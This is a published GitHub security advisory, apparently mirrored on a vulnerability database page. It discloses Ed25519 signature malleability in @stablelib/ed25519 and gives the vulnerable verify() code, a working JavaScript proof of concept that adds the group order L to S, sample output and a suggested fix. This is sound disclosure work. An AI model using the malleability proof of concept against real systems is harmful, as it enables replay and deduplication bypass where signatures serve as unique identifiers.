GHSA-X3FF-W252-2G7J

Vulnerability from github – Published: 2026-04-01 22:13 – Updated: 2026-04-07 14:23
VLAI
Summary
StableLib Ed25519 Signature Malleability via Missing S < L Check
Details

Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)

Target

  • Repository: StableLib/stablelib (package: @stablelib/ed25519)
  • Platform: GitHub PVR
  • Bounty: CVE credit
  • CWE: CWE-347 (Improper Verification of Cryptographic Signature)
  • Version: 2.0.2 (latest, 2026-03-28)

Root Cause

The verify() function in @stablelib/ed25519 does not check that the S component of the signature is less than the group order L. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where S >= L to prevent signature malleability.

When S >= L, [S]B = [(S mod L)]B = [(S - L)]B, meaning two different 32-byte S values produce the same verification result. An attacker who observes a valid signature (R, S) can produce a second valid signature (R, S + L) for the same message.

Vulnerable code

File: packages/ed25519/ed25519.ts (compiled: lib/ed25519.js:779-802)

export function verify(publicKey, message, signature) {
    // ... length check, unpack public key ...
    const hs = new SHA512();
    hs.update(signature.subarray(0, 32));   // R
    hs.update(publicKey);                   // A
    hs.update(message);                     // M
    const h = hs.digest();
    reduce(h);                              // h is reduced mod L
    scalarmult(p, q, h);                    // [h](-A)
    scalarbase(q, signature.subarray(32));  // [S]B -- S NOT checked or reduced
    edadd(p, q);
    pack(t, p);
    if (verify32(signature, t)) {           // compare R
        return false;
    }
    return true;
}

Note that h is properly reduce()d (line 794), but S (signature bytes 32-63) is passed directly to scalarbase() without any range check.

Proof of Concept

const ed = require('@stablelib/ed25519');

const kp = ed.generateKeyPair();
const msg = new TextEncoder().encode("Hello, world!");
const sig = ed.sign(kp.secretKey, msg);

console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true

// Ed25519 group order L
const L = [
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
];

// Add L to S component to create malleable signature
const malSig = new Uint8Array(64);
malSig.set(sig.subarray(0, 32)); // R unchanged
let carry = 0;
for (let i = 0; i < 32; i++) {
  const sum = sig[32 + i] + L[i] + carry;
  malSig[32 + i] = sum & 0xff;
  carry = sum >> 8;
}

console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true
console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i]));    // true

Output:

Original valid: true
Malleable valid: true
Sigs differ: true

Impact

  • Signature malleability: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key
  • Transaction ID collision: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks
  • Deduplication bypass: Systems deduplicating by signature value accept the same message twice with different "signatures"
  • Same vulnerability class as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH

Suggested Fix

Add an S < L check before processing the signature:

// L in little-endian
const L = new Uint8Array([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
]);

function scalarLessThanL(s) {
  for (let i = 31; i >= 0; i--) {
    if (s[i] < L[i]) return true;
    if (s[i] > L[i]) return false;
  }
  return false; // equal to L, reject
}

export function verify(publicKey, message, signature) {
    // ... existing checks ...
    if (!scalarLessThanL(signature.subarray(32))) {
        return false; // S >= L, reject
    }
    // ... rest of verify ...
}

Self-Review

  • Is this by-design? No explicit documentation suggests malleability is intended. The library is described as implementing "Ed25519 public-key signature (EdDSA with Curve25519)" with no caveat about malleability.
  • Is RFC 8032 strict about this? No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.
  • Is this already reported? No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L.
  • Honest weaknesses: (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.
  • CVSS: Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact.

Solution

Upgrade to version 2.1.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@stablelib/ed25519"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:13:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Ed25519 Signature Malleability via Missing S \u003c L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)\n\n## Target\n- Repository: StableLib/stablelib (package: @stablelib/ed25519)\n- Platform: GitHub PVR\n- Bounty: CVE credit\n- CWE: CWE-347 (Improper Verification of Cryptographic Signature)\n- Version: 2.0.2 (latest, 2026-03-28)\n\n## Root Cause\n\nThe `verify()` function in `@stablelib/ed25519` does not check that the `S` component of the signature is less than the group order `L`. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where `S \u003e= L` to prevent signature malleability.\n\nWhen `S \u003e= L`, `[S]B = [(S mod L)]B = [(S - L)]B`, meaning two different 32-byte `S` values produce the same verification result. An attacker who observes a valid signature `(R, S)` can produce a second valid signature `(R, S + L)` for the same message.\n\n### Vulnerable code\n\n**File:** `packages/ed25519/ed25519.ts` (compiled: `lib/ed25519.js:779-802`)\n\n```javascript\nexport function verify(publicKey, message, signature) {\n    // ... length check, unpack public key ...\n    const hs = new SHA512();\n    hs.update(signature.subarray(0, 32));   // R\n    hs.update(publicKey);                   // A\n    hs.update(message);                     // M\n    const h = hs.digest();\n    reduce(h);                              // h is reduced mod L\n    scalarmult(p, q, h);                    // [h](-A)\n    scalarbase(q, signature.subarray(32));  // [S]B -- S NOT checked or reduced\n    edadd(p, q);\n    pack(t, p);\n    if (verify32(signature, t)) {           // compare R\n        return false;\n    }\n    return true;\n}\n```\n\nNote that `h` is properly `reduce()`d (line 794), but `S` (signature bytes 32-63) is passed directly to `scalarbase()` without any range check.\n\n## Proof of Concept\n\n```javascript\nconst ed = require(\u0027@stablelib/ed25519\u0027);\n\nconst kp = ed.generateKeyPair();\nconst msg = new TextEncoder().encode(\"Hello, world!\");\nconst sig = ed.sign(kp.secretKey, msg);\n\nconsole.log(\"Original valid:\", ed.verify(kp.publicKey, msg, sig)); // true\n\n// Ed25519 group order L\nconst L = [\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10\n];\n\n// Add L to S component to create malleable signature\nconst malSig = new Uint8Array(64);\nmalSig.set(sig.subarray(0, 32)); // R unchanged\nlet carry = 0;\nfor (let i = 0; i \u003c 32; i++) {\n  const sum = sig[32 + i] + L[i] + carry;\n  malSig[32 + i] = sum \u0026 0xff;\n  carry = sum \u003e\u003e 8;\n}\n\nconsole.log(\"Malleable valid:\", ed.verify(kp.publicKey, msg, malSig)); // true\nconsole.log(\"Sigs differ:\", !sig.every((b, i) =\u003e b === malSig[i]));    // true\n```\n\n**Output:**\n```\nOriginal valid: true\nMalleable valid: true\nSigs differ: true\n```\n\n## Impact\n\n- **Signature malleability**: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key\n- **Transaction ID collision**: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks\n- **Deduplication bypass**: Systems deduplicating by signature value accept the same message twice with different \"signatures\"\n- **Same vulnerability class** as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH\n\n## Suggested Fix\n\nAdd an S \u003c L check before processing the signature:\n\n```javascript\n// L in little-endian\nconst L = new Uint8Array([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10\n]);\n\nfunction scalarLessThanL(s) {\n  for (let i = 31; i \u003e= 0; i--) {\n    if (s[i] \u003c L[i]) return true;\n    if (s[i] \u003e L[i]) return false;\n  }\n  return false; // equal to L, reject\n}\n\nexport function verify(publicKey, message, signature) {\n    // ... existing checks ...\n    if (!scalarLessThanL(signature.subarray(32))) {\n        return false; // S \u003e= L, reject\n    }\n    // ... rest of verify ...\n}\n```\n\n## Self-Review\n\n- **Is this by-design?** No explicit documentation suggests malleability is intended. The library is described as implementing \"Ed25519 public-key signature (EdDSA with Curve25519)\" with no caveat about malleability.\n- **Is RFC 8032 strict about this?** No. RFC 8032 does not require S \u003c L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.\n- **Is this already reported?** No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S \u003c L.\n- **Honest weaknesses:** (1) RFC 8032 does not strictly require S \u003c L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.\n- **CVSS:** Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact.\n\n## Solution\n\nUpgrade to version 2.1.0.",
  "id": "GHSA-x3ff-w252-2g7j",
  "modified": "2026-04-07T14:23:20Z",
  "published": "2026-04-01T22:13:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/StableLib/stablelib/security/advisories/GHSA-x3ff-w252-2g7j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/StableLib/stablelib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StableLib Ed25519 Signature Malleability via Missing S \u003c L Check"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…